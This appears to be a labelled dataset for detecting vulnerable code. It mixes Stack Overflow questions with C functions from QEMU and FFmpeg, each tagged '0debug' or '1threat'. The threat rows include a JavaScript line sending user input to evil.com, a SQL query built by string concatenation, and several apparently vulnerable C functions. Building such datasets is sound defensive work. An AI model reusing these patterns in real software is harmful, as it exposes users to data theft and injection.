problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
Is this a valid way of checking if a variadic macro argument list is empty? : <p>I've been looking for a way to check if a variadic macro argument list is empty. All solutions I find seem to be either quite complex or using non-standard extensions. </p>
<p>I think I've found an easy solution that is both compact and s... | 0debug |
Difference between generators and functions returning generators : <p>I was debugging some code with generators and came to this question. Assume I have a generator function</p>
<pre><code>def f(x):
yield x
</code></pre>
<p>and a function returning a generator:</p>
<pre><code>def g(x):
return f(x)
</code></p... | 0debug |
Angular 2 - communication of typescript functions with external js libraries : <p>Using <a href="https://philogb.github.io/jit/" rel="noreferrer">Javascript Infovis Toolkit</a> as an external library for drawing graph and trees. I need to manipulate the onClick method of nodes in order to asynchronously sending an HTTP... | 0debug |
get the value of a point by interpolation in R : <p>I need to get the value of temperature in a point (latitude, longitude) using the value of temperature of others points (latitude, longitude) by interpolation... I have the temperature of some stations (for exemple, 10, 40.01, 03.00 ....) in a csv file.
I want to use... | 0debug |
C++ Problems modifying string with numbers : <p>I have made a simple encryption function,which encrypts everything except 0-9 numbers (ignoring the special characters).</p>
<p>Here is the code.</p>
<pre><code>#include <iostream>
using namespace std;
void encrypt(char s[])
{
char *ptr;
ptr=s;
while... | 0debug |
Why does closing a channel in defer statement panics? : In the following example, a go routine is pumping values into unbuffered channel and the main function is iterating over it.
```go
package main
import (
"fmt"
"strconv"
)
var chanStr chan string
func main() {
go pump()
fmt.Println("iterating ... | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
HTML horizonal aligment : I have a div in which theres an image and an text.
<div class="logo">
<img src="images/car_logo.png" alt="logo" width="100px" height="100px">
<h1>Some text</h1>
</div>
Right now, the logo is above the text. I want that the logo would be on left an... | 0debug |
android studio 2: Capture latitude and longitude : i know this question is repeated question, but i didn't find a clear overview. I am using Studio 2.1 and I need below information.
I am developing a app, which capture the latitude and logitude from one mobile and send those details to Master/Server Mobile, So that ... | 0debug |
Write a C++ program that prompts the user for the radius of a circle then calls inline function circleArea() to calculate the area of that circle : #include<stdio.h>
#include<iostream>
#include<math.h>
using namespace std;
class Circle
{
private:
float radius;
public:
... | 0debug |
static void virtio_serial_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass);
dc->exit = virtio_serial_device_exit;
dc->props = virtio_serial_properties;
set_bit(DEVICE_CATEGORY_INPUT, dc->categories);
vd... | 1threat |
Best way to check for null values using *ngFor in Angular 2 : <p>I'm showing some records coming from an <code>api</code> and some of the results are null and I would like to show a different value in case the response values are null. How would be the best way to do it?</p>
<p>Below is my code: </p>
<p>Component: </... | 0debug |
rdt_parse_packet (AVFormatContext *ctx, PayloadContext *rdt, AVStream *st,
AVPacket *pkt, uint32_t *timestamp,
const uint8_t *buf, int len, uint16_t rtp_seq, int flags)
{
int seq = 1, res;
AVIOContext pb;
if (!rdt->rmctx)
return AVERROR(EINVAL);
if... | 1threat |
AWS SSL on EC2 instance without Load Balancer - NodeJS : <p>Is it possible to have an EC2 instance running, listening on <code>port 443</code>, without a <code>load balancer</code>? I'm trying right now in my <code>Node.JS</code> app but it doesn't work when I call the page using <code>https://</code>. However, if I se... | 0debug |
const char *qemu_opt_get(QemuOpts *opts, const char *name)
{
QemuOpt *opt = qemu_opt_find(opts, name);
if (!opt) {
const QemuOptDesc *desc = find_desc_by_name(opts->list->desc, name);
if (desc && desc->def_value_str) {
return desc->def_value_str;
}
}
return... | 1threat |
how do i make a txt file editble from batch : So right now, I am trying to figure out how to make a .txt file editable by the user of the batch program. I already have the batch file creating the file, but now I need to make it so the .txt file has what the user answered for the question. Here is what I have now:
`@... | 0debug |
Fatal error: Call to a member function execute() on boolean on line 33 : <p>I've been getting one warning and one fatal error when trying to run the execute() command. I can't seem to find the error at my stm->execute();</p>
<p>Here are my errors:</p>
<blockquote>
<p>Warning: mysqli_stmt::bind_param(): Invalid type... | 0debug |
uint64_t helper_ld_asi(target_ulong addr, int asi, int size, int sign)
{
uint64_t ret = 0;
#if defined(DEBUG_ASI)
target_ulong last_addr = addr;
#endif
asi &= 0xff;
if ((asi < 0x80 && (env->pstate & PS_PRIV) == 0)
|| ((env->def->features & CPU_FEATURE_HYPV)
&& asi >= 0x3... | 1threat |
Add RelativeLayout with buttons below RecyclerView : <p>I need to add a RelativeLayout below my RecyclerView and was able to do so, except that the button under TOTAL(R.id.total_amount_tv) does not show:</p>
<p><a href="https://i.stack.imgur.com/0I5kT.png" rel="noreferrer"><img src="https://i.stack.imgur.com/0I5kT.png... | 0debug |
Difference between sprite and texture? : <p>Can you please explain the difference between texture and sprite? When we zoom in a sprite, it appears blurry because it's basically an image. Is it the same for a texture?</p>
<p>I read this comment on the image below online: </p>
<blockquote>
<p>The background layers ar... | 0debug |
static void pci_nop(void)
{
qvirtio_scsi_start(NULL);
qvirtio_scsi_stop();
}
| 1threat |
void timer_mod_anticipate(QEMUTimer *ts, int64_t expire_time)
{
timer_mod_anticipate_ns(ts, expire_time * ts->scale);
}
| 1threat |
calling specific index to add a function for that index : I have a liquidfloatingactionbutton and the way you add an action is a didselectitematindex function but how can I call certain indexes to add different function to each different index. This is what I have so far but the error I get is "cannot assign to value: ... | 0debug |
Specifying multiple simultaneous output formats in knitr (new) : <p>Can I write a YAML header to produce multiple output formats for an R Markdown file using knitr? I could not reproduce the functionality described in the answer for <a href="https://stackoverflow.com/questions/25078572/specifying-multiple-simultaneous-... | 0debug |
Delegate runner 'androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner' for AndroidJUnit4 could not be loaded : <p>I try to run Kotlin instrumentation tests for android.</p>
<p>In my app/build.gradle:</p>
<pre><code> android {
dataBinding {
enabled = true
}
compileSdkVe... | 0debug |
void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
timer_mod_ns(ts, expire_time * ts->scale);
}
| 1threat |
vb6 Anding two numbers into a boolean? : Can somebody explain to me how ANDing two numbers results in a boolean here? Why does j=3 return true but j=2 return false?
dim jak as Boolean
dim i as Integer
dim j as Integer
i = 1
j = 3
... | 0debug |
iscsi_aio_read16_cb(struct iscsi_context *iscsi, int status,
void *command_data, void *opaque)
{
IscsiAIOCB *acb = opaque;
trace_iscsi_aio_read16_cb(iscsi, status, acb, acb->canceled);
if (acb->canceled) {
qemu_aio_release(acb);
return;
}
acb->statu... | 1threat |
For If Else Statement : <p>Working on this problem and I'm stuck. I know this should be a simple fix, but I'm not sure. I believe it's stuck in a for loop so the could keep on repeating but I'm not sure how to fix it. I tried adding a printf and scanf function, That didn't work. Adding a do while. that didn't work. I'm... | 0debug |
Is it really necessary to call delete on this pointer : <p>I have a pointer to a very large static array of objects that don't have any destructors nor they inherit from any class. This array is allocated at the beginning of the program and never allocated/relocated again (by design). This array needs to be destroyed o... | 0debug |
uint32_t HELPER(get_cp15)(CPUARMState *env, uint32_t insn)
{
int op1;
int op2;
int crm;
op1 = (insn >> 21) & 7;
op2 = (insn >> 5) & 7;
crm = insn & 0xf;
switch ((insn >> 16) & 0xf) {
case 0:
switch (op1) {
case 0:
switch (crm) {
cas... | 1threat |
ionic app getting compailed and on building getting error : hi i am new to ionic and i had build an app using ionic it had running while i am compling on my pc and when i am trying to run the app using ionic cordova run android it was showing error and i found that all the variables i am using as the errors and i am un... | 0debug |
Using Awk to find Unique cars bought by a customer : I have log files like this :
Customer Car Bought
François Nissan Pajero 28/05/2016
Matthew Mercedes S 10/01/2019
Andrew Peugeot 508 05/0/2000
Matthew Toyota Hilux 02/10/2012
I need to make an awk script... | 0debug |
static int vmdk_open_vmdk4(BlockDriverState *bs,
BlockDriverState *file,
int flags, Error **errp)
{
int ret;
uint32_t magic;
uint32_t l1_size, l1_entry_sectors;
VMDK4Header header;
VmdkExtent *extent;
BDRVVmdkState *s = bs->opaque;
... | 1threat |
Try and Catch Int range limit : <p>I want to catch the error if the value exceeds the maximum int range in c++.</p>
<pre><code>try
{
int num = 123123123123123123123312;
cout << num;
}
catch(.....)
{
}
</code></pre>
| 0debug |
from math import radians, sin, cos, acos
def distance_lat_long(slat,slon,elat,elon):
dist = 6371.01 * acos(sin(slat)*sin(elat) + cos(slat)*cos(elat)*cos(slon - elon))
return dist | 0debug |
What does this type declaration do? : <p>Reading through the source for <a href="https://github.com/bet365/jingo" rel="nofollow noreferrer">jingo</a>, and stubble upon this code:</p>
<pre><code>var _ io.Writer = &Buffer{} // commit to compatibility with io.Writer
</code></pre>
<p>The comment is not really helping... | 0debug |
Python: I need help writing a function that uses a pair and returns sets of carnality of 2 : I need help writing some python code that input is a list A that represents a set and whose output is a list of the subsets of A that have cardinality of 2.
For instance, if A = [a, b, c], then
listPairs(A) = [[a, b], [a, c... | 0debug |
Invalid types 'int[int]' for array subscript - multi-dimensional array : <p>I'm getting an " Invalid types 'int[int]' for array subscript error ".
I searched for the same, but the previously asked Q's involved objects. This is a simple snippet.</p>
<blockquote>
<p>Code</p>
</blockquote>
<pre><code> #include<... | 0debug |
Can't find msguniq. Make sure you have GNU gettext tools 0.15 or newer installed. (Django 1.8 and OSX ElCapitan) : <p>I'm trying to internationalize a Django app by following the wonderful Django documentation. The problem is when I try to run command to create language files: </p>
<pre><code>python manage.py makemess... | 0debug |
static int decode_frame(AVCodecContext *avctx, void *data, int *got_frame,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
VmncContext * const c = avctx->priv_data;
GetByteContext *gb = &c->gb;
uint8_t *outptr;
int dx, dy, w,... | 1threat |
Flutter: How to Make an array with the JSON data : <p>I would like to make an array with JSON, But I duplicate the same post.
I am using the REST API JSON plugin for WordPress</p>
<p>More information about <strong>WP REST API</strong>: <a href="https://v2.wp-api.org" rel="noreferrer">https://v2.wp-api.org</a></p>
<p>... | 0debug |
Why it not return the float value of the divison in c++? : <p>I have this code in c++:</p>
<pre><code>#include <iostream>
using namespace std;
int main() {
float division = 5/2;
cout<<division;
return 0;
}
</code></pre>
<p>But it return <code>2</code>, instead of <code>2.5</code> , why ?</p>
| 0debug |
static uint64_t openpic_msi_read(void *opaque, hwaddr addr, unsigned size)
{
OpenPICState *opp = opaque;
uint64_t r = 0;
int i, srs;
DPRINTF("%s: addr " TARGET_FMT_plx "\n", __func__, addr);
if (addr & 0xF) {
return -1;
}
srs = addr >> 4;
switch (addr) {
case... | 1threat |
How to create web listing system? (like amazon, ebay) : <p>I want to create an online listing system, where people can upload there listings and customers can buy them. It's comparable with the main idea of ebay, amazon,..</p>
<p>Basic functionality:</p>
<ul>
<li>Creating listings (uploading pictures, description,..)... | 0debug |
Visual Studio 2015 (ASP.NET 5): show 'Manage Bower Packages...' context menu : <p>In Visual Studio 2015, when I create a brand new solution with a brand new ASP.NET 5 project, I see the <code>Manage Bower Packages...</code> context menu when I right-click on the project:</p>
<p><a href="https://i.stack.imgur.com/EzHdw... | 0debug |
How to find common sub strings in python? : <p>I am writing a python script where I have to find common substrings in many string sequences.
For example:</p>
<pre><code>sequence1 = 'mweitngaomjksjasper;36nnG1bmaso3th7a\-'
sequence2 = 'asngiqbwebs7-236jasper;u52dsv--4512G1b'
sequence3 = 'asvjaspermininwqmamnf-121xvxnes... | 0debug |
static int convert_iteration_sectors(ImgConvertState *s, int64_t sector_num)
{
int64_t ret;
int n;
convert_select_part(s, sector_num);
assert(s->total_sectors > sector_num);
n = MIN(s->total_sectors - sector_num, BDRV_REQUEST_MAX_SECTORS);
if (s->sector_next_status <= sector_num) {
... | 1threat |
static inline void xchg_mb_border(H264Context *h, uint8_t *src_y, uint8_t *src_cb, uint8_t *src_cr, int linesize, int uvlinesize, int xchg){
MpegEncContext * const s = &h->s;
int temp8, i;
uint64_t temp64;
src_y -= linesize + 1;
src_cb -= uvlinesize + 1;
src_cr -= uvlinesize + 1;
#... | 1threat |
static void celt_pvq_search(float *X, int *y, int K, int N)
{
int i;
float res = 0.0f, y_norm = 0.0f, xy_norm = 0.0f;
for (i = 0; i < N; i++)
res += FFABS(X[i]);
res = K/res;
for (i = 0; i < N; i++) {
y[i] = lrintf(res*X[i]);
y_norm += y[i]*y[i];
xy_n... | 1threat |
Which are the consequences if I defined an class attribute as "public"? : <p>I know there is a lot written about information hidding, but I still don't know why I should not define an class attribute as public. </p>
<p>Which is the consequences if I defined an attribute as "public"?</p>
<p>Please, give an example.</p... | 0debug |
How do I level all my content? : This is my first post on the site, I'm still learning some basics.
So I found some html/CSS exercises online and tried to copy them and so far so good but I can't level all my content and I'm not sure what to do
[This is the original][1]
and [this is what I have][2]
the menus an... | 0debug |
SQLSTATE[HY000]: General error: 1215 Cannot add foreign key constraint Laravel : <p>Im trying to create a foreign keys using <code>artisan</code>, but this error show up.</p>
<pre><code>[Illuminate\Database\QueryException] ... | 0debug |
perl script for mounted disk space on Temp in Linux machine : I am new to perl world. I written one perl script for calculating free disk space. But whenever output generates, it gives me different number than what actually shows using df -h command.
So my requirement is i want to show specific mounted free disk sp... | 0debug |
Why 2.65 + 2.66 = 5.3100000000000005 : <p>Why 2.65 + 2.66 = 5.3100000000000005 in Javascript?<a href="https://i.stack.imgur.com/pjhDV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pjhDV.png" alt="enter image description here"></a></p>
| 0debug |
int ff_put_wav_header(AVIOContext *pb, AVCodecContext *enc)
{
int bps, blkalign, bytespersec;
int hdrsize = 18;
int waveformatextensible;
uint8_t temp[256];
uint8_t *riff_extradata= temp;
uint8_t *riff_extradata_start= temp;
if(!enc->codec_tag || enc->codec_tag > 0xffff)
r... | 1threat |
void dpy_gfx_update_dirty(QemuConsole *con,
MemoryRegion *address_space,
hwaddr base,
bool invalidate)
{
DisplaySurface *ds = qemu_console_surface(con);
int width = surface_stride(ds);
int height = surface_height(ds);
... | 1threat |
int qemu_get_byte(QEMUFile *f)
{
int result;
result = qemu_peek_byte(f, 0);
qemu_file_skip(f, 1);
return result;
}
| 1threat |
Manifest error (Duplication of elements) in android studio while combining two functions : [Need help! how to get rid of this error i have combine 2 functions nearby locations and friend finder as a result it's showing me this manifest error][1]
[In this second pic, u will see that manifest is showing duplication ... | 0debug |
Printing a node from BST : <p>I have a code similar to this one:<br/>
<a href="https://www.geeksforgeeks.org/find-closest-element-binary-search-tree/" rel="nofollow noreferrer">https://www.geeksforgeeks.org/find-closest-element-binary-search-tree/</a></p>
<p>For this algorithm, it will print out 17. However, I want to... | 0debug |
How to insert digits between two consecutive digits of a number in java : <p>I want to insert a digit at a specific position in a number. </p>
<pre><code>int a=3456;
</code></pre>
<p>Now I want to make this numbers as</p>
<pre><code>a = 32456
</code></pre>
<p>So how can i do that in java</p>
| 0debug |
PHP Syntax error, please review my code, I don't need a link to mindlessly view endless code. : I've searched many stackoverflow questions and the provided links like "PHP Parse/Syntax Errors; and How to solve them?" for hours...
Can anyone review my section of code and tell me what my error is? I'm pulling my hair... | 0debug |
An Array with multiple information per index (an array of arrays???) (OBJ-C) : I am currently making a demo app which is calling a web api (following a tutorial that uses meetup.coms API's). I am passing the information into a tableview to display it and whilst making it I was thinking about this.
Can I make an arra... | 0debug |
How to count Specific words on RichTextbox c# : I have a program where i need to count how many females and Males are in the file that has been read into the richtextbox, but I'm not sure how to do that , in the file has the name, gender,specific job . i have to count between 15 different people
for example : " Donna... | 0debug |
Using wild cards with find and ls : <p>The find command doesn't seem to search recursively when using the * wild card</p>
<p>I have a directory with several sub-directories inside it, many of which contain pdf's. There are no actual pdf's in the main directory, just in the sub-directories within it. I want to find all... | 0debug |
PHP : Regex to extract data from web url : <p>I am receiving URL from an application as post data. </p>
<p>The URL has a signature : //abc.com/name?q=123456. </p>
<p>I want to extract name from the URL using regex ( Regular Expression )
How do I do that?</p>
| 0debug |
How can I detect if device is in Airplane mode? : <p>I want to detect if my device is in Airplane mode in order to cancel active network operations. How can I do that?</p>
| 0debug |
Iterating over a two level structure using nested iterators : <p>I have the following two level <code>XML</code> structure. A list of boxes, each containing a list of drawers.</p>
<pre><code><Boxes>
<Box id="0">
<Drawers>
<Drawer id="0"/>
<Drawer id="1"/&g... | 0debug |
When does Angular2 ngAfterViewInit get called? : <p>I need some jQuery code to run after my Angular component view has initialized to transform number values into stars.</p>
<p>I put the code in the ngAfterViewInit function, but it is not doing what I need it to. I set a break point in the function and I see that mos... | 0debug |
static av_cold int png_dec_init(AVCodecContext *avctx)
{
PNGDecContext *s = avctx->priv_data;
s->avctx = avctx;
s->previous_picture.f = av_frame_alloc();
s->last_picture.f = av_frame_alloc();
s->picture.f = av_frame_alloc();
if (!s->previous_picture.f || !s->last_picture.f || !s->pictur... | 1threat |
static void blockdev_backup_prepare(BlkActionState *common, Error **errp)
{
BlockdevBackupState *state = DO_UPCAST(BlockdevBackupState, common, common);
BlockdevBackup *backup;
BlockBackend *blk, *target;
Error *local_err = NULL;
assert(common->action->type == TRANSACTION_ACTION_KIND_BLOCKDE... | 1threat |
static int qsv_decode_init(AVCodecContext *avctx, QSVContext *q, AVPacket *avpkt)
{
mfxVideoParam param = { { 0 } };
mfxBitstream bs = { { { 0 } } };
int ret;
enum AVPixelFormat pix_fmts[3] = { AV_PIX_FMT_QSV,
AV_PIX_FMT_NV12,
... | 1threat |
Angular 6 Sort Array of object by Date : <p>I try to sort the array object by date for my Angular 6 application. The data has string format. I wonder if there is an existing module to perform sort in Angular or we have to build sort function it in Typescript.</p>
<p>Angular Template</p>
<pre><code><app-item *ngFor... | 0debug |
Visual Studio 2017 Unit Test Project vs xUnit Test Project : <p>In .NET Core under Visual Studio 2015 one had to create a unit test project that was based on xunit, though the command line (no dedicated project was available in Visual Studio for .NET Core).</p>
<p>In Visual Studio 2017, under .NET Core section there a... | 0debug |
How to create app file with fastlane for simulator : <p>I need to create with fastlane .app file (or .ipa file if it works to) which I could next drag and drop to simulator on another computer. I tried do it with gym or with xcodebuild parameters but I don't know how to do it.</p>
<p>For now I do it in this way:</p>
... | 0debug |
How i can call a funcktion without click button ? (visual studio c# 2017) : How i can call a funcktion without click button ?
when i opened a form, i want to run a function without click any button.
How i can run funcktion ?
```
int sayfa = 1;
int kapasite = 20;
public Form2()
{... | 0debug |
def minimum(a,b):
if a <= b:
return a
else:
return b | 0debug |
I want you to help me so that I can concatenate an md5 function with a string variable in php : <p>I want you to help me so that I can concatenate an md5 function with a string variable</p>
<pre><code> <?php
function Crypter ()
{
$string ="";
$string1=md5( $string );
}
?>
</code></pre>
| 0debug |
static inline uint64_t bdrv_get_align(BlockDriverState *bs)
{
return MAX(BDRV_SECTOR_SIZE, bs->request_alignment);
}
| 1threat |
db.execute('SELECT * FROM products WHERE product_id = ' + product_input) | 1threat |
Clion memory view : <p>I can't find a memory view in Jetbrain's clion IDE.
Does anybody know to show it (has clion this feature)?</p>
<p>Meant is this: <a href="http://help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.cdt.doc.user%2Freference%2Fcdt_u_memoryview.htm" rel="noreferrer">memory view</a> in eclipse </p>... | 0debug |
static void scsi_write_data(SCSIRequest *req)
{
SCSIDiskReq *r = DO_UPCAST(SCSIDiskReq, req, req);
SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);
SCSIDiskClass *sdc = (SCSIDiskClass *) object_get_class(OBJECT(s));
assert(r->req.aiocb == NULL);
scsi_req_ref(&r->r... | 1threat |
Python program to find the sum and divide and check reminder :
I want a python or a shell script to find the sum of numbers of a particular range. and divide it by 8. and if the reminder is between 1 to 4 print that number.
Example.
5959
5+9+5+9 = 28
Reminder of 28 / 8 is 3 .
3 comes in the range of 1... | 0debug |
static inline int msmpeg4_decode_block(MpegEncContext * s, DCTELEM * block,
int n, int coded)
{
int level, i, last, run, run_diff;
int dc_pred_dir;
RLTable *rl;
RL_VLC_ELEM *rl_vlc;
const UINT8 *scan_table;
int qmul, qadd;
if (s->mb_intra) {
... | 1threat |
Variable usage in C : <p>I'm a novice in C and came across code that seemed peculiar to me,</p>
<pre><code>extern int num;
int counter;
void init_counter() {
counter = 0;
}
int return_position() {
int pos = counter;
counter = counter * num;
return pos;
}
</code></pre>
<p>What is the point of the pos... | 0debug |
Android - How to get just the date from date time ? : I have data Json that contains birth date, when i display it it contains the time also. Please help me how can i just display the date without the time...?
this is my code to get the birth date
.....
<!-- begin snippet: js hide: false console: true babel: f... | 0debug |
Qt How to pass data from a GUI to another thread : <p>I have an application that can start pause and cancel the thread.
i would like to pass data from the main gui to the thread.
in this example i have a spinbox.
i wish to reset the counter in the worker thread everytime i change the spin box. </p>
<p>for some reaso... | 0debug |
void register_displaychangelistener(DisplayChangeListener *dcl)
{
static DisplaySurface *dummy;
QemuConsole *con;
trace_displaychangelistener_register(dcl, dcl->ops->dpy_name);
dcl->ds = get_alloc_displaystate();
QLIST_INSERT_HEAD(&dcl->ds->listeners, dcl, next);
gui_setup_refresh(dcl->... | 1threat |
static void usb_mtp_command(MTPState *s, MTPControl *c)
{
MTPData *data_in = NULL;
MTPObject *o;
uint32_t nres = 0, res0 = 0;
if (c->code >= CMD_CLOSE_SESSION && s->session == 0) {
usb_mtp_queue_result(s, RES_SESSION_NOT_OPEN,
c->trans, 0, 0, 0);
... | 1threat |
Scroll an element inside a Div up to visible area : How to Scroll an element inside a Div. There are multiple div and each div content an element <span>
Like
< div class="parent" ><p ><span ></span ></p ></ div >
< div class="parent" ><p ><span ></span ></p ></ div >
< div class="parent" ><p ><span ></span >... | 0debug |
I'm usingto use google maps and need to get natural feature like ocean, sea etc from location in android : I am trying to get name of oceans from location using this-
https://maps.googleapis.com/maps/api/geocode/json?latlng=0,0&result_type=natural_feature&key=AIzaSyBZ1dxaR_eFtP4LYS8Ky9x4hHdVYf6456Y
But not found.... | 0debug |
Search a list for a range of numbers but return index of first example : <blockquote>
<p>I have a list that I want to search for values from 500-535 in and I want to return the index for the first value found that is within that range.</p>
</blockquote>
<pre><code>mylist =[321, 344, 999, 512, 675, 555, 500]
rainday... | 0debug |
Webstrom 2018.3 Run/Debug start direct error : error message: Error running 'debug': Unknown error
and it is ok when i use previous version
this is my config
[enter image description here][1]
[1]: https://i.stack.imgur.com/Nqkar.png | 0debug |
I need the code for creating the repository class in case of entity framework : What methods I need :
1) performing all CRUD operations .
2) retrieving data from two or more tables which may or may not present in the database .
3) able to perform transactions
| 0debug |
static inline CopyRet copy_frame(AVCodecContext *avctx,
BC_DTS_PROC_OUT *output,
void *data, int *data_size,
uint8_t second_field)
{
BC_STATUS ret;
BC_DTS_STATUS decoder_status;
uint8_t is_paff;
ui... | 1threat |
static av_cold int dnxhd_init_rc(DNXHDEncContext *ctx)
{
FF_ALLOCZ_OR_GOTO(ctx->m.avctx, ctx->mb_rc, 8160*ctx->m.avctx->qmax*sizeof(RCEntry), fail);
if (ctx->m.avctx->mb_decision != FF_MB_DECISION_RD)
FF_ALLOCZ_OR_GOTO(ctx->m.avctx, ctx->mb_cmp, ctx->m.mb_num*sizeof(RCCMPEntry), fail);
ctx->f... | 1threat |
static void vnc_display_close(VncDisplay *vd)
{
size_t i;
if (!vd) {
return;
}
vd->is_unix = false;
for (i = 0; i < vd->nlsock; i++) {
if (vd->lsock_tag[i]) {
g_source_remove(vd->lsock_tag[i]);
}
object_unref(OBJECT(vd->lsock[i]));
}
g... | 1threat |
IntelliJ - Import configuration from old version after first run : <p>I recently installed version 2017.2 of IntelliJ IDEA. I would like to keep my settings from my old 2017.1 version. IntelliJ's <a href="https://www.jetbrains.com/help/idea/install-and-set-up-intellij-idea.html#r_Install_and_set_up__product_.xmld320216... | 0debug |
void qpci_msix_enable(QPCIDevice *dev)
{
uint8_t addr;
uint16_t val;
uint32_t table;
uint8_t bir_table;
uint8_t bir_pba;
void *offset;
addr = qpci_find_capability(dev, PCI_CAP_ID_MSIX);
g_assert_cmphex(addr, !=, 0);
val = qpci_config_readw(dev, addr + PCI_MSIX_FLAGS);
... | 1threat |
PHP - Anti mitm attack idea : <p>I've got an idea against mitm(man-in-the-middle) attacks that i'd like to implement to my site, so i decided to ask you how secure this is. First i'd get 10 page loading times from the client computer in seconds. Then i'd calculate the standard with all those loading times. Then each ti... | 0debug |
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